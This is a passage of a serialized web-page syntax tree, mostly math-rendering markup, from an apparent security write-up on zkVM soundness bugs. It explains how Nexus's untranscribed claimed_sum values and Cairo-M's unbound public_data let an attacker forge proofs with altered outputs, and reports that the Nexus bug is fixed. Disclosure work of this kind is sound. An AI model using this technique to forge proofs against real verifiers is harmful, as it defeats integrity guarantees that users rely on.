14803],{"type":23,"tag":139,"props":114804,"children":114805},{},[],{"type":23,"tag":139,"props":114807,"children":114809},{"className":114808,"style":2187},[2089],[],{"type":23,"tag":139,"props":114811,"children":114813},{"className":114812},[2192],[114814],{"type":28,"value":1067},{"type":23,"tag":139,"props":114816,"children":114818},{"className":114817,"style":2187},[2089],[],{"type":23,"tag":139,"props":114820,"children":114822},{"className":114821},[1998],[114823,114828,114885,114889,115055,115059,115064],{"type":23,"tag":139,"props":114824,"children":114827},{"className":114825,"style":114826},[2003],"height:1.4734em;vertical-align:-0.6283em;",[],{"type":23,"tag":139,"props":114829,"children":114831},{"className":114830},[19632],[114832,114837],{"type":23,"tag":139,"props":114833,"children":114835},{"className":114834,"style":19639},[19632,19637,19638],[114836],{"type":28,"value":106746},{"type":23,"tag":139,"props":114838,"children":114840},{"className":114839},[2025],[114841],{"type":23,"tag":139,"props":114842,"children":114844},{"className":114843},[2030,19650],[114845,114874],{"type":23,"tag":139,"props":114846,"children":114848},{"className":114847},[2035],[114849,114869],{"type":23,"tag":139,"props":114850,"children":114852},{"className":114851,"style":112158},[2040],[114853],{"type":23,"tag":139,"props":114854,"children":114855},{"style":19663},[114856,114860],{"type":23,"tag":139,"props":114857,"children":114859},{"className":114858,"style":2050},[2049],[],{"type":23,"tag":139,"props":114861,"children":114863},{"className":114862},[2055,2056,2057,2058],[114864],{"type":23,"tag":139,"props":114865,"children":114867},{"className":114866,"style":112174},[2009,19596,2058],[114868],{"type":28,"value":6661},{"type":23,"tag":139,"props":114870,"children":114872},{"className":114871},[19753],[114873],{"type":28,"value":19756},{"type":23,"tag":139,"props":114875,"children":114877},{"className":114876},[2035],[114878],{"type":23,"tag":139,"props":114879,"children":114881},{"className":114880,"style":112189},[2040],[114882],{"type":23,"tag":139,"props":114883,"children":114884},{},[],{"type":23,"tag":139,"props":114886,"children":114888},{"className":114887,"style":2128},[2089],[],{"type":23,"tag":139,"props":114890,"children":114892},{"className":114891},[2009],[114893,114897,115051],{"type":23,"tag":139,"props":114894,"children":114896},{"className":114895},[19725,111469],[],{"type":23,"tag":139,"props":114898,"children":114900},{"className":114899},[111474],[114901],{"type":23,"tag":139,"props":114902,"children":114904},{"className":114903},[2030,19650],[114905,115039],{"type":23,"tag":139,"props":114906,"children":114908},{"className":114907},[2035],[114909,115034],{"type":23,"tag":139,"props":114910,"children":114912},{"className":114911,"style":111487},[2040],[114913,115003,115014],{"type":23,"tag":139,"props":114914,"children":114915},{"style":111491},[114916,114920],{"type":23,"tag":139,"props":114917,"children":114919},{"className":114918,"style":110122},[2049],[],{"type":23,"tag":139,"props":114921,"children":114923},{"className":114922},[2055,2056,2057,2058],[114924],{"type":23,"tag":139,"props":114925,"children":114927},{"className":114926},[2009,2058],[114928,114933,114938],{"type":23,"tag":139,"props":114929,"children":114931},{"className":114930,"style":111508},[2009,19596,2058],[114932],{"type":28,"value":111511},{"type":23,"tag":139,"props":114934,"children":114936},{"className":114935},[2095,2058],[114937],{"type":28,"value":2069},{"type":23,"tag":139,"props":114939,"children":114941},{"className":114940},[2009,2058],[114942,114952],{"type":23,"tag":139,"props":114943,"children":114945},{"className":114944},[2009,28,2058],[114946],{"type":23,"tag":139,"props":114947,"children":114949},{"className":114948},[2009,2058],[114950],{"type":28,"value":114951},"produced",{"type":23,"tag":139,"props":114953,"children":114955},{"className":114954},[2025],[114956],{"type":23,"tag":139,"props":114957,"children":114959},{"className":114958},[2030,19650],[114960,114991],{"type":23,"tag":139,"props":114961,"children":114963},{"className":114962},[2035],[114964,114986],{"type":23,"tag":139,"props":114965,"children":114968},{"className":114966,"style":114967},[2040],"height:0.2052em;",[114969],{"type":23,"tag":139,"props":114970,"children":114972},{"style":114971},"top:-2.2341em;margin-right:0.0714em;",[114973,114977],{"type":23,"tag":139,"props":114974,"children":114976},{"className":114975,"style":106811},[2049],[],{"type":23,"tag":139,"props":114978,"children":114980},{"className":114979},[2055,106816,106817,2058],[114981],{"type":23,"tag":139,"props":114982,"children":114984},{"className":114983,"style":112174},[2009,19596,2058],[114985],{"type":28,"value":6661},{"type":23,"tag":139,"props":114987,"children":114989},{"className":114988},[19753],[114990],{"type":28,"value":19756},{"type":23,"tag":139,"props":114992,"children":114994},{"className":114993},[2035],[114995],{"type":23,"tag":139,"props":114996,"children":114999},{"className":114997,"style":114998},[2040],"height:0.4048em;",[115000],{"type":23,"tag":139,"props":115001,"children":115002},{},[],{"type":23,"tag":139,"props":115004,"children":115005},{"style":111524},[115006,115010],{"type":23,"tag":139,"props":115007,"children":115009},{"className":115008,"style":110122},[2049],[],{"type":23,"tag":139,"props":115011,"children":115013},{"className":115012,"style":111534},[111533],[],{"type":23,"tag":139,"props":115015,"children":115016},{"style":111538},[115017,115021],{"type":23,"tag":139,"props":115018,"children":115020},{"className":115019,"style":110122},[2049],[],{"type":23,"tag":139,"props":115022,"children":115024},{"className":115023},[2055,2056,2057,2058],[115025],{"type":23,"tag":139,"props":115026,"children":115028},{"className":115027},[2009,2058],[115029],{"type":23,"tag":139,"props":115030,"children":115032},{"className":115031},[2009,2058],[115033],{"type":28,"value":647},{"type":23,"tag":139,"props":115035,"children":115037},{"className":115036},[19753],[115038],{"type":28,"value":19756},{"type":23,"tag":139,"props":115040,"children":115042},{"className":115041},[2035],[115043],{"type":23,"tag":139,"props":115044,"children":115047},{"className":115045,"style":115046},[2040],"height:0.6283em;",[115048],{"type":23,"tag":139,"props":115049,"children":115050},{},[],{"type":23,"tag":139,"props":115052,"children":115054},{"className":115053},[19747,111469],[],{"type":23,"tag":139,"props":115056,"children":115058},{"className":115057,"style":2090},[2089],[],{"type":23,"tag":139,"props":115060,"children":115062},{"className":115061},[2095],[115063],{"type":28,"value":2069},{"type":23,"tag":139,"props":115065,"children":115067},{"className":115066,"style":2090},[2089],[],{"type":23,"tag":139,"props":115069,"children":115071},{"className":115070},[1998],[115072,115076,115133,115137],{"type":23,"tag":139,"props":115073,"children":115075},{"className":115074,"style":112383},[2003],[],{"type":23,"tag":139,"props":115077,"children":115079},{"className":115078},[19632],[115080,115085],{"type":23,"tag":139,"props":115081,"children":115083},{"className":115082,"style":19639},[19632,19637,19638],[115084],{"type":28,"value":106746},{"type":23,"tag":139,"props":115086,"children":115088},{"className":115087},[2025],[115089],{"type":23,"tag":139,"props":115090,"children":115092},{"className":115091},[2030,19650],[115093,115122],{"type":23,"tag":139,"props":115094,"children":115096},{"className":115095},[2035],[115097,115117],{"type":23,"tag":139,"props":115098,"children":115100},{"className":115099,"style":111623},[2040],[115101],{"type":23,"tag":139,"props":115102,"children":115103},{"style":19663},[115104,115108],{"type":23,"tag":139,"props":115105,"children":115107},{"className":115106,"style":2050},[2049],[],{"type":23,"tag":139,"props":115109,"children":115111},{"className":115110},[2055,2056,2057,2058],[115112],{"type":23,"tag":139,"props":115113,"children":115115},{"className":115114,"style":92380},[2009,19596,2058],[115116],{"type":28,"value":86588},{"type":23,"tag":139,"props":115118,"children":115120},{"className":115119},[19753],[115121],{"type":28,"value":19756},{"type":23,"tag":139,"props":115123,"children":115125},{"className":115124},[2035],[115126],{"type":23,"tag":139,"props":115127,"children":115129},{"className":115128,"style":112438},[2040],[115130],{"type":23,"tag":139,"props":115131,"children":115132},{},[],{"type":23,"tag":139,"props":115134,"children":115136},{"className":115135,"style":2128},[2089],[],{"type":23,"tag":139,"props":115138,"children":115140},{"className":115139},[2009],[115141,115145,115295],{"type":23,"tag":139,"props":115142,"children":115144},{"className":115143},[19725,111469],[],{"type":23,"tag":139,"props":115146,"children":115148},{"className":115147},[111474],[115149],{"type":23,"tag":139,"props":115150,"children":115152},{"className":115151},[2030,19650],[115153,115284],{"type":23,"tag":139,"props":115154,"children":115156},{"className":115155},[2035],[115157,115279],{"type":23,"tag":139,"props":115158,"children":115160},{"className":115159,"style":111487},[2040],[115161,115248,115259],{"type":23,"tag":139,"props":115162,"children":115163},{"style":111491},[115164,115168],{"type":23,"tag":139,"props":115165,"children":115167},{"className":115166,"style":110122},[2049],[],{"type":23,"tag":139,"props":115169,"children":115171},{"className":115170},[2055,2056,2057,2058],[115172],{"type":23,"tag":139,"props":115173,"children":115175},{"className":115174},[2009,2058],[115176,115181,115186],{"type":23,"tag":139,"props":115177,"children":115179},{"className":115178,"style":111508},[2009,19596,2058],[115180],{"type":28,"value":111511},{"type":23,"tag":139,"props":115182,"children":115184},{"className":115183},[2095,2058],[115185],{"type":28,"value":2069},{"type":23,"tag":139,"props":115187,"children":115189},{"className":115188},[2009,2058],[115190,115200],{"type":23,"tag":139,"props":115191,"children":115193},{"className":115192},[2009,28,2058],[115194],{"type":23,"tag":139,"props":115195,"children":115197},{"className":115196},[2009,2058],[115198],{"type":28,"value":115199},"consumed",{"type":23,"tag":139,"props":115201,"children":115203},{"className":115202},[2025],[115204],{"type":23,"tag":139,"props":115205,"children":115207},{"className":115206},[2030,19650],[115208,115237],{"type":23,"tag":139,"props":115209,"children":115211},{"className":115210},[2035],[115212,115232],{"type":23,"tag":139,"props":115213,"children":115215},{"className":115214,"style":110283},[2040],[115216],{"type":23,"tag":139,"props":115217,"children":115218},{"style":112528},[115219,115223],{"type":23,"tag":139,"props":115220,"children":115222},{"className":115221,"style":106811},[2049],[],{"type":23,"tag":139,"props":115224,"children":115226},{"className":115225},[2055,106816,106817,2058],[115227],{"type":23,"tag":139,"props":115228,"children":115230},{"className":115229,"style":92380},[2009,19596,2058],[115231],{"type":28,"value":86588},{"type":23,"tag":139,"props":115233,"children":115235},{"className":115234},[19753],[115236],{"type":28,"value":19756},{"type":23,"tag":139,"props":115238,"children":115240},{"className":115239},[2035],[115241],{"type":23,"tag":139,"props":115242,"children":115244},{"className":115243,"style":112555},[2040],[115245],{"type":23,"tag":139,"props":115246,"children":115247},{},[],{"type":23,"tag":139,"props":115249,"children":115250},{"style":111524},[115251,115255],{"type":23,"tag":139,"props":115252,"children":115254},{"className":115253,"style":110122},[2049],[],{"type":23,"tag":139,"props":115256,"children":115258},{"className":115257,"style":111534},[111533],[],{"type":23,"tag":139,"props":115260,"children":115261},{"style":111538},[115262,115266],{"type":23,"tag":139,"props":115263,"children":115265},{"className":115264,"style":110122},[2049],[],{"type":23,"tag":139,"props":115267,"children":115269},{"className":115268},[2055,2056,2057,2058],[115270],{"type":23,"tag":139,"props":115271,"children":115273},{"className":115272},[2009,2058],[115274],{"type":23,"tag":139,"props":115275,"children":115277},{"className":115276},[2009,2058],[115278],{"type":28,"value":647},{"type":23,"tag":139,"props":115280,"children":115282},{"className":115281},[19753],[115283],{"type":28,"value":19756},{"type":23,"tag":139,"props":115285,"children":115287},{"className":115286},[2035],[115288],{"type":23,"tag":139,"props":115289,"children":115291},{"className":115290,"style":112603},[2040],[115292],{"type":23,"tag":139,"props":115293,"children":115294},{},[],{"type":23,"tag":139,"props":115296,"children":115298},{"className":115297},[19747,111469],[],{"type":23,"tag":24,"props":115300,"children":115301},{},[115302,115304,115309],{"type":28,"value":115303},"All ",{"type":23,"tag":135,"props":115305,"children":115307},{"className":115306},[],[115308],{"type":28,"value":112815},{"type":28,"value":115310}," values must sum to zero (everything produced is consumed).",{"type":23,"tag":24,"props":115312,"children":115313},{},[115314,115316,115321],{"type":28,"value":115315},"All constraints are combined into a composition polynomial. The verifier then checks this polynomial at a random point outside the execution domain, known as an ",{"type":23,"tag":56,"props":115317,"children":115318},{},[115319],{"type":28,"value":115320},"OODS (Out-of-Domain Sampling)",{"type":28,"value":115322}," test.",{"type":23,"tag":24,"props":115324,"children":115325},{},[115326],{"type":23,"tag":56,"props":115327,"children":115328},{},[115329],{"type":28,"value":113367},{"type":23,"tag":128,"props":115331,"children":115333},{"code":115332},"NexusProof {\n    stark_proof: {\n        commitments: [Merkle roots of trace columns]\n        sampled_values: [polynomial evaluations]\n        fri_proof: [low-degree test proof]\n    }\n    claimed_sum: [FieldElement; NUM_COMPONENTS]  // \u003C- VULNERABLE\n    log_size: [component sizes]\n}\n",[115334],{"type":23,"tag":135,"props":115335,"children":115336},{"__ignoreMap":7},[115337],{"type":28,"value":115332},{"type":23,"tag":24,"props":115339,"children":115340},{},[115341,115343,115348],{"type":28,"value":115342},"The",{"type":23,"tag":135,"props":115344,"children":115346},{"className":115345},[],[115347],{"type":28,"value":112815},{"type":28,"value":115349}," values are checked to be of correct length, that they sum to zero, and are used in the final composition polynomial. But at no point were they absorbed into the transcript.",{"type":23,"tag":24,"props":115351,"children":115352},{},[115353],{"type":23,"tag":429,"props":115354,"children":115357},{"alt":115355,"src":115356},"6_nexus_flow","/posts/zkvms-unfaithful-claims/6_nexus_flow.svg",[],{"type":23,"tag":24,"props":115359,"children":115360},{},[115361,115363,115372],{"type":28,"value":115362},"The OODS check computes the composition polynomial, which includes logup boundary constraints. These constraints are ",{"type":23,"tag":56,"props":115364,"children":115365},{},[115366,115367],{"type":28,"value":109822},{"type":23,"tag":135,"props":115368,"children":115370},{"className":115369},[],[115371],{"type":28,"value":112815},{"type":28,"value":2493},{"type":23,"tag":24,"props":115374,"children":115375},{},[115376],{"type":28,"value":115377},"The composition polynomial is a random linear combination of constraints:",{"type":23,"tag":24,"props":115379,"children":115380},{},[115381],{"type":23,"tag":135,"props":115382,"children":115384},{"className":115383},[1981,1982],[115385],{"type":23,"tag":139,"props":115386,"children":115388},{"className":115387},[1987],[115389],{"type":23,"tag":139,"props":115390,"children":115392},{"className":115391,"ariaHidden":1993},[1992],[115393,115434,115573],{"type":23,"tag":139,"props":115394,"children":115396},{"className":115395},[1998],[115397,115401,115406,115411,115416,115421,115425,115430],{"type":23,"tag":139,"props":115398,"children":115400},{"className":115399,"style":2110},[2003],[],{"type":23,"tag":139,"props":115402,"children":115404},{"className":115403,"style":20128},[2009,19596],[115405],{"type":28,"value":114180},{"type":23,"tag":139,"props":115407,"children":115409},{"className":115408},[19725],[115410],{"type":28,"value":262},{"type":23,"tag":139,"props":115412,"children":115414},{"className":115413},[2009,19596],[115415],{"type":28,"value":17284},{"type":23,"tag":139,"props":115417,"children":115419},{"className":115418},[19747],[115420],{"type":28,"value":1104},{"type":23,"tag":139,"props":115422,"children":115424},{"className":115423,"style":2187},[2089],[],{"type":23,"tag":139,"props":115426,"children":115428},{"className":115427},[2192],[115429],{"type":28,"value":1067},{"type":23,"tag":139,"props":115431,"children":115433},{"className":115432,"style":2187},[2089],[],{"type":23,"tag":139,"props":115435,"children":115437},{"className":115436},[1998],[115438,115442,115499,115503,115560,115564,115569],{"type":23,"tag":139,"props":115439,"children":115441},{"className":115440,"style":113584},[2003],[],{"type":23,"tag":139,"props":115443,"children":115445},{"className":115444},[19632],[115446,115451],{"type":23,"tag":139,"props":115447,"children":115449},{"className":115448,"style":19639},[19632,19637,19638],[115450],{"type":28,"value":106746},{"type":23,"tag":139,"props":115452,"children":115454},{"className":115453},[2025],[115455],{"type":23,"tag":139,"props":115456,"children":115458},{"className":115457},[2030,19650],[115459,115488],{"type":23,"tag":139,"props":115460,"children":115462},{"className":115461},[2035],[115463,115483],{"type":23,"tag":139,"props":115464,"children":115466},{"className":115465,"style":112158},[2040],[115467],{"type":23,"tag":139,"props":115468,"children":115469},{"style":19663},[115470,115474],{"type":23,"tag":139,"props":115471,"children":115473},{"className":115472,"style":2050},[2049],[],{"type":23,"tag":139,"props":115475,"children":115477},{"className":115476},[2055,2056,2057,2058],[115478],{"type":23,"tag":139,"props":115479,"children":115481},{"className":115480},[2009,19596,2058],[115482],{"type":28,"value":1728},{"type":23,"tag":139,"props":115484,"children":115486},{"className":115485},[19753],[115487],{"type":28,"value":19756},{"type":23,"tag":139,"props":115489,"children":115491},{"className":115490},[2035],[115492],{"type":23,"tag":139,"props":115493,"children":115495},{"className":115494,"style":112438},[2040],[115496],{"type":23,"tag":139,"props":115497,"children":115498},{},[],{"type":23,"tag":139,"props":115500,"children":115502},{"className":115501,"style":2128},[2089],[],{"type":23,"tag":139,"props":115504,"children":115506},{"className":115505},[2009],[115507,115512],{"type":23,"tag":139,"props":115508,"children":115510},{"className":115509,"style":113039},[2009,19596],[115511],{"type":28,"value":113042},{"type":23,"tag":139,"props":115513,"children":115515},{"className":115514},[2025],[115516],{"type":23,"tag":139,"props":115517,"children":115519},{"className":115518},[2030,19650],[115520,115549],{"type":23,"tag":139,"props":115521,"children":115523},{"className":115522},[2035],[115524,115544],{"type":23,"tag":139,"props":115525,"children":115527},{"className":115526,"style":91480},[2040],[115528],{"type":23,"tag":139,"props":115529,"children":115530},{"style":113674},[115531,115535],{"type":23,"tag":139,"props":115532,"children":115534},{"className":115533,"style":2050},[2049],[],{"type":23,"tag":139,"props":115536,"children":115538},{"className":115537},[2055,2056,2057,2058],[115539],{"type":23,"tag":139,"props":115540,"children":115542},{"className":115541},[2009,19596,2058],[115543],{"type":28,"value":1728},{"type":23,"tag":139,"props":115545,"children":115547},{"className":115546},[19753],[115548],{"type":28,"value":19756},{"type":23,"tag":139,"props":115550,"children":115552},{"className":115551},[2035],[115553],{"type":23,"tag":139,"props":115554,"children":115556},{"className":115555,"style":91034},[2040],[115557],{"type":23,"tag":139,"props":115558,"children":115559},{},[],{"type":23,"tag":139,"props":115561,"children":115563},{"className":115562,"style":2090},[2089],[],{"type":23,"tag":139,"props":115565,"children":115567},{"className":115566},[2095],[115568],{"type":28,"value":109213},{"type":23,"tag":139,"props":115570,"children":115572},{"className":115571,"style":2090},[2089],[],{"type":23,"tag":139,"props":115574,"children":115576},{"className":115575},[1998],[115577,115581,115643,115648,115653],{"type":23,"tag":139,"props":115578,"children":115580},{"className":115579,"style":2110},[2003],[],{"type":23,"tag":139,"props":115582,"children":115584},{"className":115583},[2009],[115585,115595],{"type":23,"tag":139,"props":115586,"children":115588},{"className":115587},[2009,28],[115589],{"type":23,"tag":139,"props":115590,"children":115592},{"className":115591},[2009],[115593],{"type":28,"value":115594},"constraint",{"type":23,"tag":139,"props":115596,"children":115598},{"className":115597},[2025],[115599],{"type":23,"tag":139,"props":115600,"children":115602},{"className":115601},[2030,19650],[115603,115632],{"type":23,"tag":139,"props":115604,"children":115606},{"className":115605},[2035],[115607,115627],{"type":23,"tag":139,"props":115608,"children":115610},{"className":115609,"style":91480},[2040],[115611],{"type":23,"tag":139,"props":115612,"children":115613},{"style":112081},[115614,115618],{"type":23,"tag":139,"props":115615,"children":115617},{"className":115616,"style":2050},[2049],[],{"type":23,"tag":139,"props":115619,"children":115621},{"className":115620},[2055,2056,2057,2058],[115622],{"type":23,"tag":139,"props":115623,"children":115625},{"className":115624},[2009,19596,2058],[115626],{"type":28,"value":1728},{"type":23,"tag":139,"props":115628,"children":115630},{"className":115629},[19753],[115631],{"type":28,"value":19756},{"type":23,"tag":139,"props":115633,"children":115635},{"className":115634},[2035],[115636],{"type":23,"tag":139,"props":115637,"children":115639},{"className":115638,"style":91034},[2040],[115640],{"type":23,"tag":139,"props":115641,"children":115642},{},[],{"type":23,"tag":139,"props":115644,"children":115646},{"className":115645},[19725],[115647],{"type":28,"value":262},{"type":23,"tag":139,"props":115649,"children":115651},{"className":115650},[2009,19596],[115652],{"type":28,"value":17284},{"type":23,"tag":139,"props":115654,"children":115656},{"className":115655},[19747],[115657],{"type":28,"value":1104},{"type":23,"tag":24,"props":115659,"children":115660},{},[115661,115663,115668,115670,115675],{"type":28,"value":115662},"Since each constraint is linear in its ",{"type":23,"tag":135,"props":115664,"children":115666},{"className":115665},[],[115667],{"type":28,"value":112815},{"type":28,"value":115669},", the overall composition polynomial is linear in all ",{"type":23,"tag":135,"props":115671,"children":115673},{"className":115672},[],[115674],{"type":28,"value":112815},{"type":28,"value":115676}," values.",{"type":23,"tag":24,"props":115678,"children":115679},{},[115680,115682],{"type":28,"value":115681},"The verifier checks ",{"type":23,"tag":135,"props":115683,"children":115685},{"className":115684},[1981,1982],[115686],{"type":23,"tag":139,"props":115687,"children":115689},{"className":115688},[1987],[115690],{"type":23,"tag":139,"props":115691,"children":115693},{"className":115692,"ariaHidden":1993},[1992],[115694,115755],{"type":23,"tag":139,"props":115695,"children":115697},{"className":115696},[1998],[115698,115702,115707,115712,115722,115727,115737,115742,115746,115751],{"type":23,"tag":139,"props":115699,"children":115701},{"className":115700,"style":90893},[2003],[],{"type":23,"tag":139,"props":115703,"children":115705},{"className":115704,"style":20128},[2009,19596],[115706],{"type":28,"value":114180},{"type":23,"tag":139,"props":115708,"children":115710},{"className":115709},[19725],[115711],{"type":28,"value":262},{"type":23,"tag":139,"props":115713,"children":115715},{"className":115714},[2009,28],[115716],{"type":23,"tag":139,"props":115717,"children":115719},{"className":115718},[2009],[115720],{"type":28,"value":115721},"oods",{"type":23,"tag":139,"props":115723,"children":115725},{"className":115724,"style":90951},[2009],[115726],{"type":28,"value":1057},{"type":23,"tag":139,"props":115728,"children":115730},{"className":115729},[2009,28],[115731],{"type":23,"tag":139,"props":115732,"children":115734},{"className":115733},[2009],[115735],{"type":28,"value":115736},"point",{"type":23,"tag":139,"props":115738,"children":115740},{"className":115739},[19747],[115741],{"type":28,"value":1104},{"type":23,"tag":139,"props":115743,"children":115745},{"className":115744,"style":2187},[2089],[],{"type":23,"tag":139,"props":115747,"children":115749},{"className":115748},[2192],[115750],{"type":28,"value":1067},{"type":23,"tag":139,"props":115752,"children":115754},{"className":115753,"style":2187},[2089],[],{"type":23,"tag":139,"props":115756,"children":115758},{"className":115757},[1998],[115759,115763],{"type":23,"tag":139,"props":115760,"children":115762},{"className":115761,"style":113006},[2003],[],{"type":23,"tag":139,"props":115764,"children":115766},{"className":115765},[2009,28],[115767],{"type":23,"tag":139,"props":115768,"children":115770},{"className":115769},[2009],[115771],{"type":28,"value":114505},{"type":23,"tag":24,"props":115773,"children":115774},{},[115775,115777,115782,115784,115789],{"type":28,"value":115776},"With ",{"type":23,"tag":135,"props":115778,"children":115780},{"className":115779},[],[115781],{"type":28,"value":112815},{"type":28,"value":115783}," not in transcript, the composition polynomial becomes a linear function of the ",{"type":23,"tag":135,"props":115785,"children":115787},{"className":115786},[],[115788],{"type":28,"value":112815},{"type":28,"value":115790}," values. Combined with the constraint that claimed sums must sum to zero, this is a small linear system that is easily solvable.",{"type":23,"tag":24,"props":115792,"children":115793},{},[115794,115798,115800],{"type":23,"tag":56,"props":115795,"children":115796},{},[115797],{"type":28,"value":114661},{"type":28,"value":115799}," Fixed on October 24, 2025 via ",{"type":23,"tag":64,"props":115801,"children":115804},{"href":115802,"rel":115803},"https://github.com/nexus-xyz/nexus-zkvm/pull/503",[68],[115805],{"type":28,"value":115806},"PR #503",{"type":23,"tag":16800,"props":115808,"children":115809},{},[],{"type":23,"tag":666,"props":115811,"children":115813},{"id":115812},"cairo-m-kakarot-labs",[115814],{"type":28,"value":115815},"Cairo-M (Kakarot Labs)",{"type":23,"tag":24,"props":115817,"children":115818},{},[115819],{"type":28,"value":115820},"Cairo-M, built by Kakarot Labs, is an alternative proof system for the Cairo VM (used by Starknet).",{"type":23,"tag":24,"props":115822,"children":115823},{},[115824],{"type":28,"value":115825},"Cairo-M is in many ways similar to Nexus. It uses logup to prove global statements about the execution.",{"type":23,"tag":24,"props":115827,"children":115828},{},[115829],{"type":23,"tag":56,"props":115830,"children":115831},{},[115832],{"type":28,"value":113367},{"type":23,"tag":128,"props":115834,"children":115836},{"code":115835},"Proof {\n    claim: ComponentSizes,\n    interaction_claim: LogupClaimsPerComponent,\n    public_data: {          // \u003C- VULNERABLE\n        initial_registers: { pc, fp },\n        final_registers: { pc, fp }, // \u003C- forged\n        clock,                       // \u003C- forged\n        initial_root,                \n        final_root,                  // \u003C- forged\n        public_memory: { program, input, output }, //output modified\n    },\n    stark_proof: [...],\n}\n",[115837],{"type":23,"tag":135,"props":115838,"children":115839},{"__ignoreMap":7},[115840],{"type":28,"value":115835},{"type":23,"tag":24,"props":115842,"children":115843},{},[115844],{"type":23,"tag":56,"props":115845,"children":115846},{},[115847],{"type":28,"value":113383},{"type":23,"tag":24,"props":115849,"children":115850},{},[115851],{"type":23,"tag":429,"props":115852,"children":115855},{"alt":115853,"src":115854},"7_cairo_m_verification","/posts/zkvms-unfaithful-claims/7_cairo_m_verification.svg",[],{"type":23,"tag":24,"props":115857,"children":115858},{},[115859,115861,115867],{"type":28,"value":115860},"Lookup challenges are derived without ",{"type":23,"tag":135,"props":115862,"children":115864},{"className":115863},[],[115865],{"type":28,"value":115866},"public_data",{"type":28,"value":115868}," being  mixed into the transcript.",{"type":23,"tag":24,"props":115870,"children":115871},{},[115872,115873,115878,115880,115885],{"type":28,"value":14625},{"type":23,"tag":135,"props":115874,"children":115876},{"className":115875},[],[115877],{"type":28,"value":115866},{"type":28,"value":115879}," (program I/O, boundary registers, memory roots) enters the lookup relations inside ",{"type":23,"tag":659,"props":115881,"children":115882},{},[115883],{"type":28,"value":115884},"denominators",{"type":28,"value":115886}," through challenge-weighted encodings of tuples. Abstractly, the verifier checks a relation of the form:",{"type":23,"tag":24,"props":115888,"children":115889},{},[115890],{"type":23,"tag":135,"props":115891,"children":115893},{"className":115892},[1981,1982],[115894],{"type":23,"tag":139,"props":115895,"children":115897},{"className":115896},[1987],[115898],{"type":23,"tag":139,"props":115899,"children":115901},{"className":115900,"ariaHidden":1993},[1992],[115902,115962,116008,116054],{"type":23,"tag":139,"props":115903,"children":115905},{"className":115904},[1998],[115906,115910,115916,115921,115930,115935,115944,115949,115953,115958],{"type":23,"tag":139,"props":115907,"children":115909},{"className":115908,"style":90893},[2003],[],{"type":23,"tag":139,"props":115911,"children":115913},{"className":115912},[2009,19596],[115914],{"type":28,"value":115915},"L",{"type":23,"tag":139,"props":115917,"children":115919},{"className":115918},[19725],[115920],{"type":28,"value":262},{"type":23,"tag":139,"props":115922,"children":115924},{"className":115923},[2009,28],[115925],{"type":23,"tag":139,"props":115926,"children":115928},{"className":115927},[2009],[115929],{"type":28,"value":59575},{"type":23,"tag":139,"props":115931,"children":115933},{"className":115932,"style":90951},[2009],[115934],{"type":28,"value":1057},{"type":23,"tag":139,"props":115936,"children":115938},{"className":115937},[2009,28],[115939],{"type":23,"tag":139,"props":115940,"children":115942},{"className":115941},[2009],[115943],{"type":28,"value":1691},{"type":23,"tag":139,"props":115945,"children":115947},{"className":115946},[19747],[115948],{"type":28,"value":1104},{"type":23,"tag":139,"props":115950,"children":115952},{"className":115951,"style":2090},[2089],[],{"type":23,"tag":139,"props":115954,"children":115956},{"className":115955},[2095],[115957],{"type":28,"value":2382},{"type":23,"tag":139,"props":115959,"children":115961},{"className":115960,"style":2090},[2089],[],{"type":23,"tag":139,"props":115963,"children":115965},{"className":115964},[1998],[115966,115970,115980,115985,115995,115999,116004],{"type":23,"tag":139,"props":115967,"children":115969},{"className":115968,"style":90893},[2003],[],{"type":23,"tag":139,"props":115971,"children":115973},{"className":115972},[2009,28],[115974],{"type":23,"tag":139,"props":115975,"children":115977},{"className":115976},[2009],[115978],{"type":28,"value":115979},"(other transcript",{"type":23,"tag":139,"props":115981,"children":115983},{"className":115982,"style":90951},[2009],[115984],{"type":28,"value":1057},{"type":23,"tag":139,"props":115986,"children":115988},{"className":115987},[2009,28],[115989],{"type":23,"tag":139,"props":115990,"children":115992},{"className":115991},[2009],[115993],{"type":28,"value":115994},"bound terms)",{"type":23,"tag":139,"props":115996,"children":115998},{"className":115997,"style":2187},[2089],[],{"type":23,"tag":139,"props":116000,"children":116002},{"className":116001},[2192],[116003],{"type":28,"value":1067},{"type":23,"tag":139,"props":116005,"children":116007},{"className":116006,"style":2187},[2089],[],{"type":23,"tag":139,"props":116009,"children":116011},{"className":116010},[1998],[116012,116017,116022,116027,116032,116036,116041,116045,116050],{"type":23,"tag":139,"props":116013,"children":116016},{"className":116014,"style":116015},[2003],"height:0.8778em;vertical-align:-0.1944em;",[],{"type":23,"tag":139,"props":116018,"children":116020},{"className":116019},[2009],[116021],{"type":28,"value":2021},{"type":23,"tag":139,"props":116023,"children":116025},{"className":116024},[2121],[116026],{"type":28,"value":2124},{"type":23,"tag":139,"props":116028,"children":116031},{"className":116029,"style":116030},[2089],"margin-right:2em;",[],{"type":23,"tag":139,"props":116033,"children":116035},{"className":116034,"style":2128},[2089],[],{"type":23,"tag":139,"props":116037,"children":116039},{"className":116038},[2009,19596],[116040],{"type":28,"value":115915},{"type":23,"tag":139,"props":116042,"children":116044},{"className":116043,"style":2187},[2089],[],{"type":23,"tag":139,"props":116046,"children":116048},{"className":116047},[2192],[116049],{"type":28,"value":1067},{"type":23,"tag":139,"props":116051,"children":116053},{"className":116052,"style":2187},[2089],[],{"type":23,"tag":139,"props":116055,"children":116057},{"className":116056},[1998],[116058,116063,116120,116124,116342],{"type":23,"tag":139,"props":116059,"children":116062},{"className":116060,"style":116061},[2003],"height:1.4071em;vertical-align:-0.562em;",[],{"type":23,"tag":139,"props":116064,"children":116066},{"className":116065},[19632],[116067,116072],{"type":23,"tag":139,"props":116068,"children":116070},{"className":116069,"style":19639},[19632,19637,19638],[116071],{"type":28,"value":106746},{"type":23,"tag":139,"props":116073,"children":116075},{"className":116074},[2025],[116076],{"type":23,"tag":139,"props":116077,"children":116079},{"className":116078},[2030,19650],[116080,116109],{"type":23,"tag":139,"props":116081,"children":116083},{"className":116082},[2035],[116084,116104],{"type":23,"tag":139,"props":116085,"children":116087},{"className":116086,"style":112158},[2040],[116088],{"type":23,"tag":139,"props":116089,"children":116090},{"style":19663},[116091,116095],{"type":23,"tag":139,"props":116092,"children":116094},{"className":116093,"style":2050},[2049],[],{"type":23,"tag":139,"props":116096,"children":116098},{"className":116097},[2055,2056,2057,2058],[116099],{"type":23,"tag":139,"props":116100,"children":116102},{"className":116101},[2009,19596,2058],[116103],{"type":28,"value":1728},{"type":23,"tag":139,"props":116105,"children":116107},{"className":116106},[19753],[116108],{"type":28,"value":19756},{"type":23,"tag":139,"props":116110,"